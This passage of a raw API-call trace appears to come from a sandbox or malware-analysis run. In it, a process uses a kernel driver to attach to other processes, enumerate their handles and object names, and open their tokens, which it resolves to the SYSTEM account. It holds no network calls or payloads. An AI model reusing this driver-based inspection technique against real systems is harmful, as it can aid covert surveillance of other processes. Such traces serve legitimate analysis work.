(Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.775] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.775] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.775] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.775] PsAcquireProcessExitSynchronization () returned 0x0 [0103.775] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.775] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002324060, HandleInformation=0x0) returned 0x0 [0103.775] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.775] PsReleaseProcessExitSynchronization () returned 0x2 [0103.775] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.775] ObQueryNameString (in: Object=0xfffff8a002324060, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.775] ObfDereferenceObject (Object=0xfffff8a002324060) returned 0x1 [0103.775] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.775] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.775] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.775] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.775] PsAcquireProcessExitSynchronization () returned 0x0 [0103.775] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.775] ObReferenceObjectByHandle (in: Handle=0x920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004389540, HandleInformation=0x0) returned 0x0 [0103.775] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.775] PsReleaseProcessExitSynchronization () returned 0x2 [0103.775] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.775] ObQueryNameString (in: Object=0xfffff8a004389540, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.775] ObfDereferenceObject (Object=0xfffff8a004389540) returned 0x1 [0103.775] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.776] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.776] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.776] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.776] PsAcquireProcessExitSynchronization () returned 0x0 [0103.776] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.776] ObReferenceObjectByHandle (in: Handle=0x92c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0043297a0, HandleInformation=0x0) returned 0x0 [0103.776] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.776] PsReleaseProcessExitSynchronization () returned 0x2 [0103.776] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.776] ObQueryNameString (in: Object=0xfffff8a0043297a0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.776] ObfDereferenceObject (Object=0xfffff8a0043297a0) returned 0x1 [0103.776] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.776] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.776] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.776] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.776] PsAcquireProcessExitSynchronization () returned 0x0 [0103.776] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.776] ObReferenceObjectByHandle (in: Handle=0x940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a003063180, HandleInformation=0x0) returned 0x0 [0103.776] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.776] PsReleaseProcessExitSynchronization () returned 0x2 [0103.776] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.776] ObQueryNameString (in: Object=0xfffff8a003063180, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.776] ObfDereferenceObject (Object=0xfffff8a003063180) returned 0x1 [0103.776] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.776] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.776] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.776] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.776] PsAcquireProcessExitSynchronization () returned 0x0 [0103.776] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.777] ObReferenceObjectByHandle (in: Handle=0x958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0033dee70, HandleInformation=0x0) returned 0x0 [0103.777] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.777] PsReleaseProcessExitSynchronization () returned 0x2 [0103.777] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.777] ObQueryNameString (in: Object=0xfffff8a0033dee70, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.777] ObfDereferenceObject (Object=0xfffff8a0033dee70) returned 0x1 [0103.777] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.777] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.777] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.777] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.777] PsAcquireProcessExitSynchronization () returned 0x0 [0103.777] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.777] ObReferenceObjectByHandle (in: Handle=0x968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a003a96390, HandleInformation=0x0) returned 0x0 [0103.777] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.777] PsReleaseProcessExitSynchronization () returned 0x2 [0103.777] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.777] ObQueryNameString (in: Object=0xfffff8a003a96390, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.777] ObfDereferenceObject (Object=0xfffff8a003a96390) returned 0x1 [0103.777] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.777] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.777] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.777] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.777] PsAcquireProcessExitSynchronization () returned 0x0 [0103.777] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.777] ObReferenceObjectByHandle (in: Handle=0x970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002271740, HandleInformation=0x0) returned 0x0 [0103.777] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.777] PsReleaseProcessExitSynchronization () returned 0x2 [0103.777] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.777] ObQueryNameString (in: Object=0xfffff8a002271740, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.777] ObfDereferenceObject (Object=0xfffff8a002271740) returned 0x1 [0103.777] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.778] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.778] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.778] PsAcquireProcessExitSynchronization () returned 0x0 [0103.778] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.778] ObReferenceObjectByHandle (in: Handle=0x97c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00399ca80, HandleInformation=0x0) returned 0x0 [0103.778] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.778] PsReleaseProcessExitSynchronization () returned 0x2 [0103.778] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.778] ObQueryNameString (in: Object=0xfffff8a00399ca80, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.778] ObfDereferenceObject (Object=0xfffff8a00399ca80) returned 0x1 [0103.778] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.778] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.778] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.778] PsAcquireProcessExitSynchronization () returned 0x0 [0103.778] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.778] ObReferenceObjectByHandle (in: Handle=0x994, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002a6f8c0, HandleInformation=0x0) returned 0x0 [0103.778] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.778] PsReleaseProcessExitSynchronization () returned 0x2 [0103.778] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.778] ObQueryNameString (in: Object=0xfffff8a002a6f8c0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.778] ObfDereferenceObject (Object=0xfffff8a002a6f8c0) returned 0x1 [0103.778] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.778] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.778] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.778] PsAcquireProcessExitSynchronization () returned 0x0 [0103.778] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.779] ObReferenceObjectByHandle (in: Handle=0x9c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a003a944e0, HandleInformation=0x0) returned 0x0 [0103.779] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.779] PsReleaseProcessExitSynchronization () returned 0x2 [0103.779] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.779] ObQueryNameString (in: Object=0xfffff8a003a944e0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.779] ObfDereferenceObject (Object=0xfffff8a003a944e0) returned 0x1 [0103.779] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.779] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xc0 [0103.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.779] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0103.779] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0103.779] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6e [0103.779] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8002510600 | out: TokenHandle=0xfffffa8002510600*=0xc8) returned 0x0 [0103.779] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0103.779] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.779] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.779] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.781] CloseHandle (hObject=0xc8) returned 1 [0103.781] CloseHandle (hObject=0xc0) returned 1 [0103.781] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.781] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.781] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.782] PsAcquireProcessExitSynchronization () returned 0x0 [0103.782] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff88004f095d0) [0103.782] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003034ad0, HandleInformation=0x0) returned 0x0 [0103.782] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.782] PsReleaseProcessExitSynchronization () returned 0x2 [0103.782] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0103.782] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.782] ObfDereferenceObject (Object=0xfffffa8003034ad0) returned 0x1 [0103.782] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.782] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.782] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.782] PsAcquireProcessExitSynchronization () returned 0x0 [0103.782] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff88004f095d0) [0103.782] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030c6320, HandleInformation=0x0) returned 0x0 [0103.782] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.782] PsReleaseProcessExitSynchronization () returned 0x2 [0103.782] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0103.782] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.782] ObfDereferenceObject (Object=0xfffffa80030c6320) returned 0x1 [0103.782] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.782] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xc0 [0103.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.782] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0103.782] ObOpenObjectByPointer (in: Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0103.783] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x77 [0103.783] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8002510600 | out: TokenHandle=0xfffffa8002510600*=0xc8) returned 0x0 [0103.783] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0103.783] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.783] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.783] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.784] CloseHandle (hObject=0xc8) returned 1 [0103.784] CloseHandle (hObject=0xc0) returned 1 [0103.784] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.784] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.784] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.784] PsAcquireProcessExitSynchronization () returned 0x0 [0103.784] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.785] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030581b0, HandleInformation=0x0) returned 0x0 [0103.785] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.785] PsReleaseProcessExitSynchronization () returned 0x2 [0103.785] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.785] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, 